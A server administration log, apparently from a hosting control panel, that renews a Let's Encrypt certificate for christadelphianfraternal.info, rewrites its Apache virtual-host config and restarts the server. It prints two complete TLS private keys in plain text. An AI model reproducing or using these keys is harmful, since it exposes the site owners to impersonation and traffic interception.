eMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
My5pLmxlbmNyLm9yZy8wKQYDVR0RBCIwIIIMYmFwdGl6by5pbmZvghB3d3cuYmFw
dGl6by5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNTQuY3JsMIIBBgYKKwYBBAHWeQIEAgSB
9wSB9ADyAHcAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGaFM33
CgAABAMASDBGAiEA3HsGV/lyv/7AHCHjCq/w5Iptn3lIOqiSBlXkN87EvXYCIQCy
DlULLCx0JlBIGDY2WjRN6gjYXI1MelkoATHW+WnlxwB3AMs49xWJfIShRF9bwd37
yW7ymlnNRwppBYWwyxTDFFjnAAABmhTN9xkAAAQDAEgwRgIhAN2EjCsDoqkfzKRc
JVyUQPck/Zsyhhm0fJraW6WVl3nwAiEA68hz7KEdrlKPtTC2TVw5VesUGmxUpil1
s0x0w2BfdJYwDQYJKoZIhvcNAQELBQADggEBAHHEf2awENkmvEiuqMDyeC1EB/ZT
4wY/sBSUc8aIpzSnRfty7U54P5KNHsJBclywI9CQ/5WfwvvNWSIm2+WcC/fsouFg
RYNPuG/GqAfRtBhH1V1PNV7bOZhoG39b+PDv1lhROWSjnGXFdSG0OnOdF/3OcWhS
G9YBZVyW7KUusvLfe3fZRIvXCjqSVs6iR57SZdmosPwfjoyA0becmgaJpVD9Gi+n
NQWbrT0/YDiLHdprxUHLFcPGoVkLFF3BpJewODld162FLmoLXq/6IGLkmnE8MV/X
3gzI7fobsBwXRuuQjtbXU+cHOTZBNE2fst5nNNHgQnKA7Bge2S7S+9nQqxk=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDkTHZYxJquHBKH
7xee8nOU0qQWXLSdqARIdbVEa/vWBiHymaUNge6MU1KdIewFCCuhVgxLk2Nb3rSk
lRV+6Q9rkMjxTOga2I2qgXOPxH3jKeHvebPKctZdHkzNaNxUMmzbsvUaHHk4F5/K
CPXRhIAOYYJH6OzziUC3iIXvHarebyp4ZtZiYTL7utp6LtaMkAT1warwzN2gxhpe
VA0+D9W/HurmVElcqrpw26ZCBM3Y1sCrtwYwMNkzxjJpYK+J5DZ0Gp1tKDsc6llx
iTHzOmlkrTkDfbPaB8K068nszn4vIhqDJZJPtfwuFKCDXL1Sqv7oIoeqU2uAzf4P
crt3g1L3AgMBAAECggEBAJI9vK2+Owt+5gv3h10FGC7kA8JjXjuDjkLQS+5pcae2
w/ZAn68YZTO0iD4ppaPPiQtPMI8U+de2wGaRLXTfXEZeN6oCxsezooPvapRUnQNw
J8+cWSQ9Db4Wk8IdAs5Ygsz1RPaV+LyKvYvQ046D3vfXVHo15dtXN4KZzJnQmkzj
GM0XUnryIe+K8/LtxqmFZnhM/T5Fe8u0AvwEFABfAGPqMxz+iisX1KZ2Xtid4uVV
YoqKx9jTjK/xVxJb0yJwi2HfoxauwZEVvX1xo6I9jv7Xt5T1bJ6M3nH2xNz+vBvL
6rxDAv/8mDyg7dNP7ln/wbcWGyLsfynzoPeJFFhEJlECgYEA/8fkuRl19SVvucIw
RvWuXrXS0k/jMi27QUWKsmsauUqimSsWiQnyh8wL4ly3ttgNELYOnXb/EGfB/yy0
LdgQZTY7H6lzgHgOzZ1pitLvY2tiMVSyQ1OiEorIzx3VVqHBsZR6wegy0UxqXqRL
yXiwT1zby3yqw1OI4wUe2wCUIG8CgYEA5H6KX6p+zTWFPRyZzmJ+QIsG6vOSofKT
ub8xw7szHGaQ/1WHW/PMURIt1L6a2S+0QO8Oz3Ph2UO+iup0h7Slim3gVtCLD1ib
O7S2Sop+nfbDoKQMy1rUhO5KItGianyZ0bzLE7U72y3oRWs+Cw4GZUcKcuxFsSgN
I4Jr2tiiKfkCgYBEdLdeYtYTGkXgrXxGQZK9fmRCLWddEqg/O+F3BvtMBBGodMO/
QY5LkezMVIxGv2QfyNn4gtSZC2v8Y3aFnoIk1HLWcn+bLoanuS16HiI7tY2+LjDX
nBaQZ9x+sjlaykgQwvBn3UFcitsdIVO3RDnLw8p/l4oMZNsKB2DOtETwuQKBgGnw
ydOFR3l54SbuhdmNDSB71V9GQ6xWvmuW3En2F8KJQ50/WJ0nsom8Nge3wDAG0Dpz
HJjPD94ebNAX2KO6/C3st+FIm9EnsgHCzepNwFsZOKbYqR34JSTlHvZ54CYjU2ZN
dJLUqsX6yQC2snOJsyluAMg8CCwVd9II/FzhqH5xAoGAQhGtgx8Dn1o7z4MsBplH
De6TTimj+jKe9jb3b+XHZPC7xdL47ag+19LN4ruEt1zLtC1nxFFxs5Ptn2iLX2ce
NFr4Mc2SqdCHW2q2oHhxjoEvJnOMKX9U9knaA/rFEBhHy6jpJVfC+1bkXniSWHiA
tCc7d3rd2xM/8ckLkqeR1Jw=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-10-24 06:00:35: Establishing a connection
2025-10-24 06:00:35: Establishing a connection
2025-10-24 06:00:35:
PUT: /tmp/pkp716118
#!/bin/bash
if [ -d "/var/www/christadelphianfraternal_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-24 06:00:35:
chmod 755 /tmp/pkp716118; /tmp/pkp716118; rm /tmp/pkp716118
2025-10-24 06:00:35:
1
2025-10-24 06:00:36: Establishing a connection
2025-10-24 06:00:36:
PUT: /tmp/pkp500178
#!/bin/bash
mkdir -p "/var/www/christadelphianfraternal_www/.well-known/acme-challenge/"
cd "/var/www/christadelphianfraternal_www/.well-known/acme-challenge/"
cat > K96Cto1eLseaCi6vgIPMDKd2y4DHN-_aqDPbGubaigY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
K96Cto1eLseaCi6vgIPMDKd2y4DHN-_aqDPbGubaigY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 K96Cto1eLseaCi6vgIPMDKd2y4DHN-_aqDPbGubaigY
cat > 37t9hlfrLVSWKQvZAqdrkKBSgMbjKEOHRJZ51T__LAI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
37t9hlfrLVSWKQvZAqdrkKBSgMbjKEOHRJZ51T__LAI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 37t9hlfrLVSWKQvZAqdrkKBSgMbjKEOHRJZ51T__LAI
2025-10-24 06:00:36:
chmod 755 /tmp/pkp500178; /tmp/pkp500178; rm /tmp/pkp500178
2025-10-24 06:00:36:
2025-10-24 06:00:47: Establishing a connection
2025-10-24 06:00:47:
PUT: /tmp/pkp635963
#!/bin/bash
mkdir -p "/var/www/christadelphianfraternal_www/.well-known/acme-challenge/"
cd "/var/www/christadelphianfraternal_www/.well-known/acme-challenge/"
rm K96Cto1eLseaCi6vgIPMDKd2y4DHN-_aqDPbGubaigY
rm 37t9hlfrLVSWKQvZAqdrkKBSgMbjKEOHRJZ51T__LAI
2025-10-24 06:00:47:
chmod 755 /tmp/pkp635963; /tmp/pkp635963; rm /tmp/pkp635963
2025-10-24 06:00:47:
2025-10-24 06:00:47: Establishing a connection
2025-10-24 06:00:47:
PUT: /tmp/pkp213124
#!/bin/bash
temp_file=$(mktemp)
TARGET=b4498780588346731659d115ecf1bb4c.crt
cat > $temp_file <<'endmsg'
40:45:62:18:22:d3:ce:02:4e:df:48:5b:ce:01:22:9c
-----BEGIN CERTIFICATE-----
MIIFODCCBCCgAwIBAgISBYFz2dckSbC/cAFNF+XMN0UJMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDI0MDUwMjE2WhcNMjYwMTIyMDUwMjE1WjAoMSYwJAYDVQQD
Ex1jaHJpc3RhZGVscGhpYW5mcmF0ZXJuYWwuaW5mbzCCASIwDQYJKoZIhvcNAQEB
BQADggEPADCCAQoCggEBAK9U/opYhuq5DpzylIO6TlmnOtk6ysLNlBzMQIjCElVk
pnniWfcWxAkfznUsqWj+smJ7oPsKIdNspmokFFIPZVhk/kAAo3ZbyPEkOm+q9Ec8
pnC1UXRRyNBiFXRo3Y0eXPStZ+yqCjuP/QglZehQDkkZd3+dRO08zWpzdGOT9m+C
2gykHgVAGUW4IHRufE/J7YMX9KbzBawXdLnuytnFC4CKi37Omy7Z0QY0vfJublyE
IFVRcjCEx7v68XJbXFn958Aq1sKcpRAuNnxxsoO5m/1brCI0RcW+ZMMX9r2oL8qU
VnJfP7jeIuGndBraT5IPHy58+MqWTlh/+/erGrzg49sCAwEAAaOCAk8wggJLMA4G
A1UdDwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYD
VR0TAQH/BAIwADAdBgNVHQ4EFgQUt6fNsnQO588v9ZZuYzJsGcrg/z4wHwYDVR0j
BBgwFoAU56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsG
AQUFBzAChhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzBLBgNVHREERDBCgh1jaHJp
c3RhZGVscGhpYW5mcmF0ZXJuYWwuaW5mb4Ihd3d3LmNocmlzdGFkZWxwaGlhbmZy
YXRlcm5hbC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6Ah
oB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTAuY3JsMIIBAwYKKwYBBAHWeQIE
AgSB9ASB8QDvAHUASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMAAAGa
FM4pmwAABAMARjBEAiBOX1g2IAdEWfeE8UuELqwCUmsWH4DI19DleiFtn4KaYgIg
JdHY8Ah7tR06z40Li3BR0PNAhVjkkV2mVX50Z4hLOkIAdgCWl2S/VViXrfdDh2g3
CEJ36fA61fak8zZuRqQ/D8qpxgAAAZoUzinWAAAEAwBHMEUCIAh4fnxWlgNid3ZZ
5k9NVX7xjHgr4WnCMDmivaX1PqboAiEA1T/9ko1BlVD5cVDM4V3GriZsrjpgHk5b
1JJXECbRr28wDQYJKoZIhvcNAQELBQADggEBACoVZexqk3NgN7NRCBrtvpgqye3j
JmIeiOvNJzPjQ28Mi32uBBCFNYv5xD00ubkqebFAMraWxqNwOlAffMDfvs5XyimD
4Ig/QAjHo4UQEh280j8/l2+IAsZOzJQqSwHGyHOmpkAG7ihOHMUAaTFaFN+WxhVW
DX21BmC8kkTZnMtlCJOS2Y4atoTSxHVtdHCtfStxprJM/HjuVDFOjoKj/6DSQ0Np
7FHV/jKBsoVof9N3P+OrOk1KzWV8JxD1AKwejd9NJfynON1MBt9pHV7hR+meHkwg
benEDWVJYEV2oH3Fve/uQzwJpSbyeIRrhwb9kkGUBlwiLoV9ndTaEyHF4NY=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCvVP6KWIbquQ6c
8pSDuk5ZpzrZOsrCzZQczECIwhJVZKZ54ln3FsQJH851LKlo/rJie6D7CiHTbKZq
JBRSD2VYZP5AAKN2W8jxJDpvqvRHPKZwtVF0UcjQYhV0aN2NHlz0rWfsqgo7j/0I
JWXoUA5JGXd/nUTtPM1qc3Rjk/ZvgtoMpB4FQBlFuCB0bnxPye2DF/Sm8wWsF3S5
7srZxQuAiot+zpsu2dEGNL3ybm5chCBVUXIwhMe7+vFyW1xZ/efAKtbCnKUQLjZ8
cbKDuZv9W6wiNEXFvmTDF/a9qC/KlFZyXz+43iLhp3Qa2k+SDx8ufPjKlk5Yf/v3
qxq84OPbAgMBAAECggEAEA1IAIJ6V6L5o4TR8/1qjuqwiJLJXWxU0w4gGmUqKIc+
dooyklyTNgKjdDbSi7pFup527oTO8/xOgAktkxW1wZH9dP6Z+IwOqYUXlIGiO6Nh
2Y/AFVYnfGx+alnvbqwI9p2plhE7PpjAIa7K1an+pNKgDh7n4JBgfg5z6WnydeLu
DiUO28xjq5VMqeagJXl28BhJhen45+XTs9M/SFO8hKSzUOXJYiVAA8CwZlHcC+fw
1a8DPQE0XulBt5adwD/P/ukCd3lAmsHYyQoVq55nAubIrHgIDZa0lEGysqUfs2vi
SZqbu7luS9J1wGBbQitI0BtKS7TCNYrh5ZArg6dOAQKBgQDj6IoWryN2e9mD0cMm
iYZiNor1IxJsvH1S3MCI6AQ5Pu/xI3m+hU8f7+wJIVwPksSytCSJJRCmLN/q+hDb
k+Y9Ovpptrs0GiQ/Bj803erSuv8konQVWw975lI/SWtcctp39eRJJU9mDOv3dwtt
jvE0QgWQatPht+iXanXU3VIC6wKBgQDE8XOV+ieUy4jtOWX1AJAn54yWdhMqQ5/I
Bdgb52JoFdx7Zd2jqZmeRVuk0PmxfG+x/2PTXoyl/cx95ocIVN+tTjEMxRDiHNip
2xwEkoTyKeEnyXLa1/Z/Q5ZQ3mZePfkdDrQUV/H6usI/FDAB/WBZtlxXAkZEl9c+
/GUDfdEG0QKBgBIRwcECqcEfGKPG4b4QcUMgJ+w/l5pfZ2BGeE1id9NCFiv8MA7W
6usRTpl6t53UeRviBHOLKMLEFAzBPszp8PsxzeDLyBPdbrpAeIpsfc2vXcM9zg5T
Zerg2+yAma5+vKt+J1dVSfJBXAQGwDUzfBQ0l9RXY+0lc59tpWH3GiV5AoGBAMFN
EBsjlhf4kiPtE4KfE97m6VmA+RyhlUGZYt04haEN3AOOHzYVMD9laibiKkInleYK
equrALen3T+xtdXaoFSVC5WyEvksQQiuk9h1C2I48tK/aikckcelyfMD50wW3dzE
YsIY89wZ1LBfGyPI0vobAJUyGVAYDN+4kVkU88YRAoGASRFQtSDln7zF8DMFqNt8
Cn4cMQi3BrZ7u9TwblcCDXBqr2zD88ImzLDmbh/afZCFKpqSAXW6y2DaT6ulonDs
IzIElOZDoDbkgx8t9CMMlvl0bss1A2EXc/ga2Avdc0HYeNoSSECLsyesrHsWAbzj
gsk9WcFSmCbC6QPpGU4RIqM=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-24 06:00:48:
chmod 755 /tmp/pkp213124; /tmp/pkp213124; rm /tmp/pkp213124
2025-10-24 06:00:48:
dir=/etc/ssl/certs
2025-10-24 06:00:48:
PUT: /tmp/pkp707381
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-24 06:00:48:
chmod 755 /tmp/pkp707381; /tmp/pkp707381; rm /tmp/pkp707381
2025-10-24 06:00:48:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf 57
<VirtualHost *:80>
ServerName christadelphianfraternal.info
ServerAlias www.christadelphianfraternal.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/christadelphianfraternal_www
<Directory /var/www/christadelphianfraternal_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphianfraternal/www_access.log combined
ErrorLog /var/log/apache2/christadelphianfraternal/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName christadelphianfraternal.info
ServerAlias www.christadelphianfraternal.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt
DocumentRoot /var/www/christadelphianfraternal_www
<Directory /var/www/christadelphianfraternal_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphianfraternal/www_secure_access.log combined
ErrorLog /var/log/apache2/christadelphianfraternal/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-24 06:00:48:
PUT: /tmp/pkp629687
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=christadelphianfraternal_www_info.conf
TARGET=/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName christadelphianfraternal.info
ServerAlias www.christadelphianfraternal.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/christadelphianfraternal_www
<Directory /var/www/christadelphianfraternal_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphianfraternal/www_access.log combined
ErrorLog /var/log/apache2/christadelphianfraternal/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName christadelphianfraternal.info
ServerAlias www.christadelphianfraternal.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt
DocumentRoot /var/www/christadelphianfraternal_www
<Directory /var/www/christadelphianfraternal_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphianfraternal/www_secure_access.log combined
ErrorLog /var/log/apache2/christadelphianfraternal/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf= 1'
fi
2025-10-24 06:00:48:
chmod 755 /tmp/pkp629687; /tmp/pkp629687; rm /tmp/pkp629687
2025-10-24 06:00:48:
2025-10-24 06:00:48:
PUT: /tmp/pkp923840
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-24 06:00:48:
chmod 755 /tmp/pkp923840; /tmp/pkp923840; rm /tmp/pkp923840
2025-10-24 06:00:48:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-24 06:00:48: Establishing a connection
2025-10-24 06:00:48:
PUT: /tmp/pkp892697
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-24 06:00:48:
chmod 755 /tmp/pkp892697; /tmp/pkp892697; rm /tmp/pkp892697
2025-10-24 06:00:48:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
